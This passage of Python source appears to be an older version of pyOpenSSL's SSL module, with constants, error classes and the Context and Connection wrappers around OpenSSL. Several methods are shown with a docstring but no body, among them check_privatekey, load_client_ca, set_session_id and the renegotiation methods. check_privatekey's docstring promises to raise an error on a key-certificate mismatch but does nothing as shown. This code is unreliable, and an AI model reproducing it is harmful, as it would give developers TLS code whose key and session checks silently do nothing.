_lib.SSL_SESS_CACHE_SERVER\nSESS_CACHE_BOTH = _lib.SSL_SESS_CACHE_BOTH\nSESS_CACHE_NO_AUTO_CLEAR = _lib.SSL_SESS_CACHE_NO_AUTO_CLEAR\nSESS_CACHE_NO_INTERNAL_LOOKUP = _lib.SSL_SESS_CACHE_NO_INTERNAL_LOOKUP\nSESS_CACHE_NO_INTERNAL_STORE = _lib.SSL_SESS_CACHE_NO_INTERNAL_STORE\nSESS_CACHE_NO_INTERNAL = _lib.SSL_SESS_CACHE_NO_INTERNAL\n\nSSL_ST_CONNECT = _lib.SSL_ST_CONNECT\nSSL_ST_ACCEPT = _lib.SSL_ST_ACCEPT\nSSL_ST_MASK = _lib.SSL_ST_MASK\nSSL_ST_INIT = _lib.SSL_ST_INIT\nSSL_ST_BEFORE = _lib.SSL_ST_BEFORE\nSSL_ST_OK = _lib.SSL_ST_OK\nSSL_ST_RENEGOTIATE = _lib.SSL_ST_RENEGOTIATE\n\nSSL_CB_LOOP = _lib.SSL_CB_LOOP\nSSL_CB_EXIT = _lib.SSL_CB_EXIT\nSSL_CB_READ = _lib.SSL_CB_READ\nSSL_CB_WRITE = _lib.SSL_CB_WRITE\nSSL_CB_ALERT = _lib.SSL_CB_ALERT\nSSL_CB_READ_ALERT = _lib.SSL_CB_READ_ALERT\nSSL_CB_WRITE_ALERT = _lib.SSL_CB_WRITE_ALERT\nSSL_CB_ACCEPT_LOOP = _lib.SSL_CB_ACCEPT_LOOP\nSSL_CB_ACCEPT_EXIT = _lib.SSL_CB_ACCEPT_EXIT\nSSL_CB_CONNECT_LOOP = _lib.SSL_CB_CONNECT_LOOP\nSSL_CB_CONNECT_EXIT = _lib.SSL_CB_CONNECT_EXIT\nSSL_CB_HANDSHAKE_START = _lib.SSL_CB_HANDSHAKE_START\nSSL_CB_HANDSHAKE_DONE = _lib.SSL_CB_HANDSHAKE_DONE\n\n\nclass Error(Exception):\n    \"\"\"\n    An error occurred in an `OpenSSL.SSL` API.\n    \"\"\"\n\n\n\n_raise_current_error = partial(_exception_from_error_queue, Error)\n\n\nclass WantReadError(Error):\n    pass\n\n\n\nclass WantWriteError(Error):\n    pass\n\n\n\nclass WantX509LookupError(Error):\n    pass\n\n\n\nclass ZeroReturnError(Error):\n    pass\n\n\n\nclass SysCallError(Error):\n    pass\n\n\n\nclass _VerifyHelper(object):\n    def __init__(self, connection, callback):\n        self._problems = []\n\n        @wraps(callback)\n        def wrapper(ok, store_ctx):\n            cert = X509.__new__(X509)\n            cert._x509 = _lib.X509_STORE_CTX_get_current_cert(store_ctx)\n            error_number = _lib.X509_STORE_CTX_get_error(store_ctx)\n            error_depth = _lib.X509_STORE_CTX_get_error_depth(store_ctx)\n\n            try:\n                result = callback(connection, cert, error_number, error_depth, ok)\n            except Exception as e:\n                self._problems.append(e)\n                return 0\n            else:\n                if result:\n                    _lib.X509_STORE_CTX_set_error(store_ctx, _lib.X509_V_OK)\n                    return 1\n                else:\n                    return 0\n\n        self.callback = _ffi.callback(\n            \"int (*)(int, X509_STORE_CTX *)\", wrapper)\n\n\n    def raise_if_problem(self):\n        if self._problems:\n            try:\n                _raise_current_error()\n            except Error:\n                pass\n            raise self._problems.pop(0)\n\n\n\ndef _asFileDescriptor(obj):\n    fd = None\n    if not isinstance(obj, integer_types):\n        meth = getattr(obj, \"fileno\", None)\n        if meth is not None:\n            obj = meth()\n\n    if isinstance(obj, integer_types):\n        fd = obj\n\n    if not isinstance(fd, integer_types):\n        raise TypeError(\"argument must be an int, or have a fileno() method.\")\n    elif fd < 0:\n        raise ValueError(\n            \"file descriptor cannot be a negative integer (%i)\" % (fd,))\n\n    return fd\n\n\n\ndef SSLeay_version(type):\n    \"\"\"\n    Return a string describing the version of OpenSSL in use.\n\n    :param type: One of the SSLEAY_ constants defined in this module.\n    \"\"\"\n    return _ffi.string(_lib.SSLeay_version(type))\n\n\n\nclass Session(object):\n    pass\n\n\n\nclass Context(object):\n    \"\"\"\n    :py:obj:`OpenSSL.SSL.Context` instances define the parameters for setting up\n    new SSL connections.\n    \"\"\"\n    _methods = {\n        SSLv3_METHOD: \"SSLv3_method\",\n        SSLv23_METHOD: \"SSLv23_method\",\n        TLSv1_METHOD: \"TLSv1_method\",\n        TLSv1_1_METHOD: \"TLSv1_1_method\",\n        TLSv1_2_METHOD: \"TLSv1_2_method\",\n        }\n    _methods = dict(\n        (identifier, getattr(_lib, name))\n        for (identifier, name) in _methods.items()\n        if getattr(_lib, name, None) is not None)\n\n\n    def __init__(self, method):\n        \"\"\"\n        :param method: One of SSLv2_METHOD, SSLv3_METHOD, SSLv23_METHOD, or\n            TLSv1_METHOD.\n        \"\"\"\n        if not isinstance(method, integer_types):\n            raise TypeError(\"method must be an integer\")\n\n        try:\n            method_func = self._methods[method]\n        except KeyError:\n            raise ValueError(\"No such protocol\")\n\n        method_obj = method_func()\n        if method_obj == _ffi.NULL:\n            # TODO: This is untested.\n            _raise_current_error()\n\n        context = _lib.SSL_CTX_new(method_obj)\n        if context == _ffi.NULL:\n            # TODO: This is untested.\n            _raise_current_error()\n        context = _ffi.gc(context, _lib.SSL_CTX_free)\n\n        self._context = context\n        self._passphrase_helper = None\n        self._passphrase_callback = None\n        self._passphrase_userdata = None\n        self._verify_helper = None\n        self._verify_callback = None\n        self._info_callback = None\n        self._tlsext_servername_callback = None\n        self._app_data = None\n\n        # SSL_CTX_set_app_data(self->ctx, self);\n        # SSL_CTX_set_mode(self->ctx, SSL_MODE_ENABLE_PARTIAL_WRITE |\n        #                             SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER |\n        #                             SSL_MODE_AUTO_RETRY);\n        self.set_mode(_lib.SSL_MODE_ENABLE_PARTIAL_WRITE)\n\n\n    def load_verify_locations(self, cafile, capath=None):\n        \"\"\"\n        Let SSL know where we can find trusted certificates for the certificate\n        chain\n\n        :param cafile: In which file we can find the certificates\n        :param capath: In which directory we can find the certificates\n        :return: None\n        \"\"\"\n        if cafile is None:\n            cafile = _ffi.NULL\n        elif not isinstance(cafile, bytes):\n            raise TypeError(\"cafile must be None or a byte string\")\n\n        if capath is None:\n            capath = _ffi.NULL\n        elif not isinstance(capath, bytes):\n            raise TypeError(\"capath must be None or a byte string\")\n\n        load_result = _lib.SSL_CTX_load_verify_locations(self._context, cafile, capath)\n        if not load_result:\n            _raise_current_error()\n\n\n    def _wrap_callback(self, callback):\n        @wraps(callback)\n        def wrapper(size, verify, userdata):\n            return callback(size, verify, self._passphrase_userdata)\n        return _PassphraseHelper(\n            FILETYPE_PEM, wrapper, more_args=True, truncate=True)\n\n\n    def set_passwd_cb(self, callback, userdata=None):\n        \"\"\"\n        Set the passphrase callback\n\n        :param callback: The Python callback to use\n        :param userdata: (optional) A Python object which will be given as\n                         argument to the callback\n        :return: None\n        \"\"\"\n        if not callable(callback):\n            raise TypeError(\"callback must be callable\")\n\n        self._passphrase_helper = self._wrap_callback(callback)\n        self._passphrase_callback = self._passphrase_helper.callback\n        _lib.SSL_CTX_set_default_passwd_cb(\n            self._context, self._passphrase_callback)\n        self._passphrase_userdata = userdata\n\n\n    def set_default_verify_paths(self):\n        \"\"\"\n        Use the platform-specific CA certificate locations\n\n        :return: None\n        \"\"\"\n        set_result = _lib.SSL_CTX_set_default_verify_paths(self._context)\n        if not set_result:\n            # TODO: This is untested.\n            _raise_current_error()\n\n\n    def use_certificate_chain_file(self, certfile):\n        \"\"\"\n        Load a certificate chain from a file\n\n        :param certfile: The name of the certificate chain file\n        :return: None\n        \"\"\"\n        if isinstance(certfile, _text_type):\n            # Perhaps sys.getfilesystemencoding() could be better?\n            certfile = certfile.encode(\"utf-8\")\n\n        if not isinstance(certfile, bytes):\n            raise TypeError(\"certfile must be bytes or unicode\")\n\n        result = _lib.SSL_CTX_use_certificate_chain_file(self._context, certfile)\n        if not result:\n            _raise_current_error()\n\n\n    def use_certificate_file(self, certfile, filetype=FILETYPE_PEM):\n        \"\"\"\n        Load a certificate from a file\n\n        :param certfile: The name of the certificate file\n        :param filetype: (optional) The encoding of the file, default is PEM\n        :return: None\n        \"\"\"\n        if isinstance(certfile, _text_type):\n            # Perhaps sys.getfilesystemencoding() could be better?\n            certfile = certfile.encode(\"utf-8\")\n        if not isinstance(certfile, bytes):\n            raise TypeError(\"certfile must be bytes or unicode\")\n        if not isinstance(filetype, integer_types):\n            raise TypeError(\"filetype must be an integer\")\n\n        use_result = _lib.SSL_CTX_use_certificate_file(self._context, certfile, filetype)\n        if not use_result:\n            _raise_current_error()\n\n\n    def use_certificate(self, cert):\n        \"\"\"\n        Load a certificate from a X509 object\n\n        :param cert: The X509 object\n        :return: None\n        \"\"\"\n        if not isinstance(cert, X509):\n            raise TypeError(\"cert must be an X509 instance\")\n\n        use_result = _lib.SSL_CTX_use_certificate(self._context, cert._x509)\n        if not use_result:\n            _raise_current_error()\n\n\n    def add_extra_chain_cert(self, certobj):\n        \"\"\"\n        Add certificate to chain\n\n        :param certobj: The X509 certificate object to add to the chain\n        :return: None\n        \"\"\"\n        if not isinstance(certobj, X509):\n            raise TypeError(\"certobj must be an X509 instance\")\n\n        copy = _lib.X509_dup(certobj._x509)\n        add_result = _lib.SSL_CTX_add_extra_chain_cert(self._context, copy)\n        if not add_result:\n            # TODO: This is untested.\n            _lib.X509_free(copy)\n            _raise_current_error()\n\n\n    def _raise_passphrase_exception(self):\n        if self._passphrase_helper is None:\n            _raise_current_error()\n        exception = self._passphrase_helper.raise_if_problem(Error)\n        if exception is not None:\n            raise exception\n\n\n    def use_privatekey_file(self, keyfile, filetype=_unspecified):\n        \"\"\"\n        Load a private key from a file\n\n        :param keyfile: The name of the key file\n        :param filetype: (optional) The encoding of the file, default is PEM\n        :return: None\n        \"\"\"\n        if isinstance(keyfile, _text_type):\n            # Perhaps sys.getfilesystemencoding() could be better?\n            keyfile = keyfile.encode(\"utf-8\")\n\n        if not isinstance(keyfile, bytes):\n            raise TypeError(\"keyfile must be a byte string\")\n\n        if filetype is _unspecified:\n            filetype = FILETYPE_PEM\n        elif not isinstance(filetype, integer_types):\n            raise TypeError(\"filetype must be an integer\")\n\n        use_result = _lib.SSL_CTX_use_PrivateKey_file(\n            self._context, keyfile, filetype)\n        if not use_result:\n            self._raise_passphrase_exception()\n\n\n    def use_privatekey(self, pkey):\n        \"\"\"\n        Load a private key from a PKey object\n\n        :param pkey: The PKey object\n        :return: None\n        \"\"\"\n        if not isinstance(pkey, PKey):\n            raise TypeError(\"pkey must be a PKey instance\")\n\n        use_result = _lib.SSL_CTX_use_PrivateKey(self._context, pkey._pkey)\n        if not use_result:\n            self._raise_passphrase_exception()\n\n\n    def check_privatekey(self):\n        \"\"\"\n        Check that the private key and certificate match up\n\n        :return: None (raises an exception if something's wrong)\n        \"\"\"\n\n    def load_client_ca(self, cafile):\n        \"\"\"\n        Load the trusted certificates that will be sent to the client (basically\n        telling the client \"These are the guys I trust\").  Does not actually\n        imply any of the certificates are trusted; that must be configured\n        separately.\n\n        :param cafile: The name of the certificates file\n        :return: None\n        \"\"\"\n\n    def set_session_id(self, buf):\n        \"\"\"\n        Set the session identifier.  This is needed if you want to do session\n        resumption.\n\n        :param buf: A Python object that can be safely converted to a string\n        :returns: None\n        \"\"\"\n\n    def set_session_cache_mode(self, mode):\n        \"\"\"\n        Enable/disable session caching and specify the mode used.\n\n        :param mode: One or more of the SESS_CACHE_* flags (combine using\n            bitwise or)\n        :returns: The previously set caching mode.\n        \"\"\"\n        if not isinstance(mode, integer_types):\n            raise TypeError(\"mode must be an integer\")\n\n        return _lib.SSL_CTX_set_session_cache_mode(self._context, mode)\n\n\n    def get_session_cache_mode(self):\n        \"\"\"\n        :returns: The currently used cache mode.\n        \"\"\"\n        return _lib.SSL_CTX_get_session_cache_mode(self._context)\n\n\n    def set_verify(self, mode, callback):\n        \"\"\"\n        Set the verify mode and verify callback\n\n        :param mode: The verify mode, this is either VERIFY_NONE or\n                     VERIFY_PEER combined with possible other flags\n        :param callback: The Python callback to use\n        :return: None\n\n        See SSL_CTX_set_verify(3SSL) for further details.\n        \"\"\"\n        if not isinstance(mode, integer_types):\n            raise TypeError(\"mode must be an integer\")\n\n        if not callable(callback):\n            raise TypeError(\"callback must be callable\")\n\n        self._verify_helper = _VerifyHelper(self, callback)\n        self._verify_callback = self._verify_helper.callback\n        _lib.SSL_CTX_set_verify(self._context, mode, self._verify_callback)\n\n\n    def set_verify_depth(self, depth):\n        \"\"\"\n        Set the verify depth\n\n        :param depth: An integer specifying the verify depth\n        :return: None\n        \"\"\"\n        if not isinstance(depth, integer_types):\n            raise TypeError(\"depth must be an integer\")\n\n        _lib.SSL_CTX_set_verify_depth(self._context, depth)\n\n\n    def get_verify_mode(self):\n        \"\"\"\n        Get the verify mode\n\n        :return: The verify mode\n        \"\"\"\n        return _lib.SSL_CTX_get_verify_mode(self._context)\n\n\n    def get_verify_depth(self):\n        \"\"\"\n        Get the verify depth\n\n        :return: The verify depth\n        \"\"\"\n        return _lib.SSL_CTX_get_verify_depth(self._context)\n\n\n    def load_tmp_dh(self, dhfile):\n        \"\"\"\n        Load parameters for Ephemeral Diffie-Hellman\n\n        :param dhfile: The file to load EDH parameters from\n        :return: None\n        \"\"\"\n        if not isinstance(dhfile, bytes):\n            raise TypeError(\"dhfile must be a byte string\")\n\n        bio = _lib.BIO_new_file(dhfile, b\"r\")\n        if bio == _ffi.NULL:\n            _raise_current_error()\n        bio = _ffi.gc(bio, _lib.BIO_free)\n\n        dh = _lib.PEM_read_bio_DHparams(bio, _ffi.NULL, _ffi.NULL, _ffi.NULL)\n        dh = _ffi.gc(dh, _lib.DH_free)\n        _lib.SSL_CTX_set_tmp_dh(self._context, dh)\n\n\n    def set_cipher_list(self, cipher_list):\n        \"\"\"\n        Change the cipher list\n\n        :param cipher_list: A cipher list, see ciphers(1)\n        :return: None\n        \"\"\"\n        if isinstance(cipher_list, _text_type):\n            cipher_list = cipher_list.encode(\"ascii\")\n\n        if not isinstance(cipher_list, bytes):\n            raise TypeError(\"cipher_list must be bytes or unicode\")\n\n        result = _lib.SSL_CTX_set_cipher_list(self._context, cipher_list)\n        if not result:\n            _raise_current_error()\n\n\n    def set_client_ca_list(self, certificate_authorities):\n        \"\"\"\n        Set the list of preferred client certificate signers for this server context.\n\n        This list of certificate authorities will be sent to the client when the\n        server requests a client certificate.\n\n        :param certificate_authorities: a sequence of X509Names.\n        :return: None\n        \"\"\"\n        name_stack = _lib.sk_X509_NAME_new_null()\n        if name_stack == _ffi.NULL:\n            # TODO: This is untested.\n            _raise_current_error()\n\n        try:\n            for ca_name in certificate_authorities:\n                if not isinstance(ca_name, X509Name):\n                    raise TypeError(\n                        \"client CAs must be X509Name objects, not %s objects\" % (\n                            type(ca_name).__name__,))\n                copy = _lib.X509_NAME_dup(ca_name._name)\n                if copy == _ffi.NULL:\n                    # TODO: This is untested.\n                    _raise_current_error()\n                push_result = _lib.sk_X509_NAME_push(name_stack, copy)\n                if not push_result:\n                    _lib.X509_NAME_free(copy)\n                    _raise_current_error()\n        except:\n            _lib.sk_X509_NAME_free(name_stack)\n            raise\n\n        _lib.SSL_CTX_set_client_CA_list(self._context, name_stack)\n\n\n    def add_client_ca(self, certificate_authority):\n        \"\"\"\n        Add the CA certificate to the list of preferred signers for this context.\n\n        The list of certificate authorities will be sent to the client when the\n        server requests a client certificate.\n\n        :param certificate_authority: certificate authority's X509 certificate.\n        :return: None\n        \"\"\"\n        if not isinstance(certificate_authority, X509):\n            raise TypeError(\"certificate_authority must be an X509 instance\")\n\n        add_result = _lib.SSL_CTX_add_client_CA(\n            self._context, certificate_authority._x509)\n        if not add_result:\n            # TODO: This is untested.\n            _raise_current_error()\n\n\n    def set_timeout(self, timeout):\n        \"\"\"\n        Set session timeout\n\n        :param timeout: The timeout in seconds\n        :return: The previous session timeout\n        \"\"\"\n        if not isinstance(timeout, integer_types):\n            raise TypeError(\"timeout must be an integer\")\n\n        return _lib.SSL_CTX_set_timeout(self._context, timeout)\n\n\n    def get_timeout(self):\n        \"\"\"\n        Get the session timeout\n\n        :return: The session timeout\n        \"\"\"\n        return _lib.SSL_CTX_get_timeout(self._context)\n\n\n    def set_info_callback(self, callback):\n        \"\"\"\n        Set the info callback\n\n        :param callback: The Python callback to use\n        :return: None\n        \"\"\"\n        @wraps(callback)\n        def wrapper(ssl, where, return_code):\n            callback(Connection._reverse_mapping[ssl], where, return_code)\n        self._info_callback = _ffi.callback(\n            \"void (*)(const SSL *, int, int)\", wrapper)\n        _lib.SSL_CTX_set_info_callback(self._context, self._info_callback)\n\n\n    def get_app_data(self):\n        \"\"\"\n        Get the application data (supplied via set_app_data())\n\n        :return: The application data\n        \"\"\"\n        return self._app_data\n\n\n    def set_app_data(self, data):\n        \"\"\"\n        Set the application data (will be returned from get_app_data())\n\n        :param data: Any Python object\n        :return: None\n        \"\"\"\n        self._app_data = data\n\n\n    def get_cert_store(self):\n        \"\"\"\n        Get the certificate store for the context.\n\n        :return: A X509Store object or None if it does not have one.\n        \"\"\"\n        store = _lib.SSL_CTX_get_cert_store(self._context)\n        if store == _ffi.NULL:\n            # TODO: This is untested.\n            return None\n\n        pystore = X509Store.__new__(X509Store)\n        pystore._store = store\n        return pystore\n\n\n    def set_options(self, options):\n        \"\"\"\n        Add options. Options set before are not cleared!\n\n        :param options: The options to add.\n        :return: The new option bitmask.\n        \"\"\"\n        if not isinstance(options, integer_types):\n            raise TypeError(\"options must be an integer\")\n\n        return _lib.SSL_CTX_set_options(self._context, options)\n\n\n    def set_mode(self, mode):\n        \"\"\"\n        Add modes via bitmask. Modes set before are not cleared!\n\n        :param mode: The mode to add.\n        :return: The new mode bitmask.\n        \"\"\"\n        if not isinstance(mode, integer_types):\n            raise TypeError(\"mode must be an integer\")\n\n        return _lib.SSL_CTX_set_mode(self._context, mode)\n\n\n    def set_tlsext_servername_callback(self, callback):\n        \"\"\"\n        Specify a callback function to be called when clients specify a server name.\n\n        :param callback: The callback function.  It will be invoked with one\n            argument, the Connection instance.\n        \"\"\"\n        @wraps(callback)\n        def wrapper(ssl, alert, arg):\n            callback(Connection._reverse_mapping[ssl])\n            return 0\n\n        self._tlsext_servername_callback = _ffi.callback(\n            \"int (*)(const SSL *, int *, void *)\", wrapper)\n        _lib.SSL_CTX_set_tlsext_servername_callback(\n            self._context, self._tlsext_servername_callback)\n\nContextType = Context\n\n\n\nclass Connection(object):\n    \"\"\"\n    \"\"\"\n    _reverse_mapping = WeakValueDictionary()\n\n    def __init__(self, context, socket=None):\n        \"\"\"\n        Create a new Connection object, using the given OpenSSL.SSL.Context\n        instance and socket.\n\n        :param context: An SSL Context to use for this connection\n        :param socket: The socket to use for transport layer\n        \"\"\"\n        if not isinstance(context, Context):\n            raise TypeError(\"context must be a Context instance\")\n\n        ssl = _lib.SSL_new(context._context)\n        self._ssl = _ffi.gc(ssl, _lib.SSL_free)\n        self._context = context\n\n        self._reverse_mapping[self._ssl] = self\n\n        if socket is None:\n            self._socket = None\n            # Don't set up any gc for these, SSL_free will take care of them.\n            self._into_ssl = _lib.BIO_new(_lib.BIO_s_mem())\n            self._from_ssl = _lib.BIO_new(_lib.BIO_s_mem())\n\n            if self._into_ssl == _ffi.NULL or self._from_ssl == _ffi.NULL:\n                # TODO: This is untested.\n                _raise_current_error()\n\n            _lib.SSL_set_bio(self._ssl, self._into_ssl, self._from_ssl)\n        else:\n            self._into_ssl = None\n            self._from_ssl = None\n            self._socket = socket\n            set_result = _lib.SSL_set_fd(self._ssl, _asFileDescriptor(self._socket))\n            if not set_result:\n                # TODO: This is untested.\n                _raise_current_error()\n\n\n    def __getattr__(self, name):\n        \"\"\"\n        Look up attributes on the wrapped socket object if they are not found on\n        the Connection object.\n        \"\"\"\n        return getattr(self._socket, name)\n\n\n    def _raise_ssl_error(self, ssl, result):\n        if self._context._verify_helper is not None:\n            self._context._verify_helper.raise_if_problem()\n\n        error = _lib.SSL_get_error(ssl, result)\n        if error == _lib.SSL_ERROR_WANT_READ:\n            raise WantReadError()\n        elif error == _lib.SSL_ERROR_WANT_WRITE:\n            raise WantWriteError()\n        elif error == _lib.SSL_ERROR_ZERO_RETURN:\n            raise ZeroReturnError()\n        elif error == _lib.SSL_ERROR_WANT_X509_LOOKUP:\n            # TODO: This is untested.\n            raise WantX509LookupError()\n        elif error == _lib.SSL_ERROR_SYSCALL:\n            if _lib.ERR_peek_error() == 0:\n                if result < 0:\n                    if platform == \"win32\":\n                        errno = _ffi.getwinerror()[0]\n                    else:\n                        errno = _ffi.errno\n                    raise SysCallError(errno, errorcode[errno])\n                else:\n                    raise SysCallError(-1, \"Unexpected EOF\")\n            else:\n                # TODO: This is untested.\n                _raise_current_error()\n        elif error == _lib.SSL_ERROR_NONE:\n            pass\n        else:\n            _raise_current_error()\n\n\n    def get_context(self):\n        \"\"\"\n        Get session context\n        \"\"\"\n        return self._context\n\n\n    def set_context(self, context):\n        \"\"\"\n        Switch this connection to a new session context\n\n        :param context: A :py:class:`Context` instance giving the new session\n            context to use.\n        \"\"\"\n        if not isinstance(context, Context):\n            raise TypeError(\"context must be a Context instance\")\n\n        _lib.SSL_set_SSL_CTX(self._ssl, context._context)\n        self._context = context\n\n\n    def get_servername(self):\n        \"\"\"\n        Retrieve the servername extension value if provided in the client hello\n        message, or None if there wasn't one.\n\n        :return: A byte string giving the server name or :py:data:`None`.\n        \"\"\"\n        name = _lib.SSL_get_servername(self._ssl, _lib.TLSEXT_NAMETYPE_host_name)\n        if name == _ffi.NULL:\n            return None\n\n        return _ffi.string(name)\n\n\n    def set_tlsext_host_name(self, name):\n        \"\"\"\n        Set the value of the servername extension to send in the client hello.\n\n        :param name: A byte string giving the name.\n        \"\"\"\n        if not isinstance(name, bytes):\n            raise TypeError(\"name must be a byte string\")\n        elif b\"\\0\" in name:\n            raise TypeError(\"name must not contain NUL byte\")\n\n        # XXX I guess this can fail sometimes?\n        _lib.SSL_set_tlsext_host_name(self._ssl, name)\n\n\n    def pending(self):\n        \"\"\"\n        Get the number of bytes that can be safely read from the connection\n\n        :return: The number of bytes available in the receive buffer.\n        \"\"\"\n        return _lib.SSL_pending(self._ssl)\n\n\n    def send(self, buf, flags=0):\n        \"\"\"\n        Send data on the connection. NOTE: If you get one of the WantRead,\n        WantWrite or WantX509Lookup exceptions on this, you have to call the\n        method again with the SAME buffer.\n\n        :param buf: The string to send\n        :param flags: (optional) Included for compatibility with the socket\n                      API, the value is ignored\n        :return: The number of bytes written\n        \"\"\"\n        if isinstance(buf, _memoryview):\n            buf = buf.tobytes()\n        if not isinstance(buf, bytes):\n            raise TypeError(\"data must be a byte string\")\n\n        result = _lib.SSL_write(self._ssl, buf, len(buf))\n        self._raise_ssl_error(self._ssl, result)\n        return result\n    write = send\n\n\n    def sendall(self, buf, flags=0):\n        \"\"\"\n        Send \"all\" data on the connection. This calls send() repeatedly until\n        all data is sent. If an error occurs, it's impossible to tell how much\n        data has been sent.\n\n        :param buf: The string to send\n        :param flags: (optional) Included for compatibility with the socket\n                      API, the value is ignored\n        :return: The number of bytes written\n        \"\"\"\n        if isinstance(buf, _memoryview):\n            buf = buf.tobytes()\n        if not isinstance(buf, bytes):\n            raise TypeError(\"buf must be a byte string\")\n\n        left_to_send = len(buf)\n        total_sent = 0\n        data = _ffi.new(\"char[]\", buf)\n\n        while left_to_send:\n            result = _lib.SSL_write(self._ssl, data + total_sent, left_to_send)\n            self._raise_ssl_error(self._ssl, result)\n            total_sent += result\n            left_to_send -= result\n\n\n    def recv(self, bufsiz, flags=None):\n        \"\"\"\n        Receive data on the connection. NOTE: If you get one of the WantRead,\n        WantWrite or WantX509Lookup exceptions on this, you have to call the\n        method again with the SAME buffer.\n\n        :param bufsiz: The maximum number of bytes to read\n        :param flags: (optional) Included for compatibility with the socket\n                      API, the value is ignored\n        :return: The string read from the Connection\n        \"\"\"\n        buf = _ffi.new(\"char[]\", bufsiz)\n        result = _lib.SSL_read(self._ssl, buf, bufsiz)\n        self._raise_ssl_error(self._ssl, result)\n        return _ffi.buffer(buf, result)[:]\n    read = recv\n\n\n    def _handle_bio_errors(self, bio, result):\n        if _lib.BIO_should_retry(bio):\n            if _lib.BIO_should_read(bio):\n                raise WantReadError()\n            elif _lib.BIO_should_write(bio):\n                # TODO: This is untested.\n                raise WantWriteError()\n            elif _lib.BIO_should_io_special(bio):\n                # TODO: This is untested.  I think io_special means the socket\n                # BIO has a not-yet connected socket.\n                raise ValueError(\"BIO_should_io_special\")\n            else:\n                # TODO: This is untested.\n                raise ValueError(\"unknown bio failure\")\n        else:\n            # TODO: This is untested.\n            _raise_current_error()\n\n\n    def bio_read(self, bufsiz):\n        \"\"\"\n        When using non-socket connections this function reads the \"dirty\" data\n        that would have traveled away on the network.\n\n        :param bufsiz: The maximum number of bytes to read\n        :return: The string read.\n        \"\"\"\n        if self._from_ssl is None:\n            raise TypeError(\"Connection sock was not None\")\n\n        if not isinstance(bufsiz, integer_types):\n            raise TypeError(\"bufsiz must be an integer\")\n\n        buf = _ffi.new(\"char[]\", bufsiz)\n        result = _lib.BIO_read(self._from_ssl, buf, bufsiz)\n        if result <= 0:\n            self._handle_bio_errors(self._from_ssl, result)\n\n        return _ffi.buffer(buf, result)[:]\n\n\n    def bio_write(self, buf):\n        \"\"\"\n        When using non-socket connections this function sends \"dirty\" data that\n        would have traveled in on the network.\n\n        :param buf: The string to put into the memory BIO.\n        :return: The number of bytes written\n        \"\"\"\n        if self._into_ssl is None:\n            raise TypeError(\"Connection sock was not None\")\n\n        if not isinstance(buf, bytes):\n            raise TypeError(\"buf must be a byte string\")\n\n        result = _lib.BIO_write(self._into_ssl, buf, len(buf))\n        if result <= 0:\n            self._handle_bio_errors(self._into_ssl, result)\n        return result\n\n\n    def renegotiate(self):\n        \"\"\"\n        Renegotiate the session\n\n        :return: True if the renegotiation can be started, false otherwise\n        \"\"\"\n\n    def do_handshake(self):\n        \"\"\"\n        Perform an SSL handshake (usually called after renegotiate() or one of\n        set_*_state()). This can raise the same exceptions as send and recv.\n\n        :return: None.\n        \"\"\"\n        result = _lib.SSL_do_handshake(self._ssl)\n        self._raise_ssl_error(self._ssl, result)\n\n\n    def renegotiate_pending(self):\n        \"\"\"\n        Check if there's a renegotiation in progress, it will return false once\n        a renegotiation is finished.\n\n        :return: Whether there's a renegotiation in progress\n        \"\"\"\n\n    def total_renegotiations(self):\n        \"\"\"\n        Find out the total number of renegotiations.\n\n        :return: The number of renegotiations.\n        \"\"\"\n        return _lib.SSL_total_renegotiations(self._ssl)\n\n\n    def connect(self, addr):\n        \"\"\"\n        Connect to remote host and set up client-side SSL\n\n        :param addr: A remote address\n        :return: What the socket's connect method returns\n        \"\"\"\n        _lib.SSL_set_connect_state(self._ssl)\n        return self._socket.connect(addr)\n\n\n    def connect_ex(self, addr):\n        \"\"\"\n        Connect to remote host and set up client-side SSL. Note that if the socket's\n        connect_ex method doesn't return 0, SSL won't be initialized.\n\n        :param addr: A remove address\n        :return: What the socket's connect_ex method returns\n        \"\"\"\n        connect_ex = self._socket.connect_ex\n        self.set_connect_state()\n        return connect_ex(addr)\n\n\n    def accept(self):\n        \"\"\"\n        Accept incoming connection and set up SSL on it\n\n        :return: A (conn,addr) pair where conn is a Connection and addr is an\n                 address\n        \"\"\"\n        client, addr = self._socket.accept()\n        conn = Connection(self._context, client)\n        conn.set_accept_state()\n        return (conn, addr)\n\n\n    def bio_shutdown(self):\n        \"\"\"\n        When using non-socket connections this function signals end of\n        data on the input for this connection.\n\n        :return: None\n        \"\"\"\n        if self._from_ssl is None:\n            raise TypeError(\"Connection sock was not None\")\n\n        _lib.BIO_set_mem_eof_return(self._into_ssl, 0)\n\n\n    def shutdown(self):\n        \"\"\"\n        Send closure alert\n\n        :return: True if the shutdown completed successfully (i.e. both sides\n                 have sent closure alerts), false otherwise (i.e. you have to\n                 wait for a ZeroReturnError on a recv() method call\n        \"\"\"\n        result = _lib.SSL_shutdown(self._ssl)\n        if result < 0:\n            # TODO: This is untested.\n            _raise_current_error()\n        elif result > 0:\n            return True\n        else:\n            return False\n\n\n    def get_cipher_list(self):\n        \"\"\"\n        Get the session cipher list\n\n        :return: A list of cipher strings\n        \"\"\"\n        ciphers = []\n        for i in count():\n            result = _lib.SSL_get_cipher_list(self._ssl, i)\n            if result == _ffi.NULL:\n                break\n            ciphers.append(_native(_ffi.string(result)))\n        return ciphers\n\n\n    def get_client_ca_list(self):\n        \"\"\"\n        Get CAs whose certificates are suggested for client authentication.\n\n        :return: If this is a server connection, a list of X509Names representing\n            the acceptable CAs as set by :py:meth:`OpenSSL.SSL.Context.set_client_ca_list` or\n            :py:meth:`OpenSSL.SSL.Context.add_client_ca`.  If this is a client connection,\n            the list of such X509Names sent by the server, or an empty list if that\n            has not yet happened.\n        \"\"\"\n        ca_names = _lib.SSL_get_client_CA_list(self._ssl)\n        if ca_names == _ffi.NULL:\n            # TODO: This is untested.\n            return []\n\n        result = []\n        for i in range(_lib.sk_X509_NAME_num(ca_names)):\n            name = _lib.sk_X509_NAME_value(ca_names, i)\n            copy = _lib.X509_NAME_dup(name)\n            if copy == _ffi.NULL:\n                # TODO: This is untested.\n                _raise_current_error()\n\n            pyname = X509Name.__new__(X509Name)\n            pyname._name = _ffi.gc(copy, _lib.X509_NAME_free)\n            result.append(pyname)\n        return result\n\n\n    def makefile(self):\n        \"\"\"\n        The makefile() method is not implemented, since there is no dup semantics\n        for SSL connections\n\n        :raise NotImplementedError\n        \"\"\"\n        raise NotImplementedError(\"Cannot make file object of OpenSSL.SSL.Connection\")\n\n\n    def get_app_data(self):\n        \"\"\"\n        Get application data\n\n        :return: The application data\n        \"\"\"\n        return self._app_data\n\n\n    def set_app_data(self, data):\n        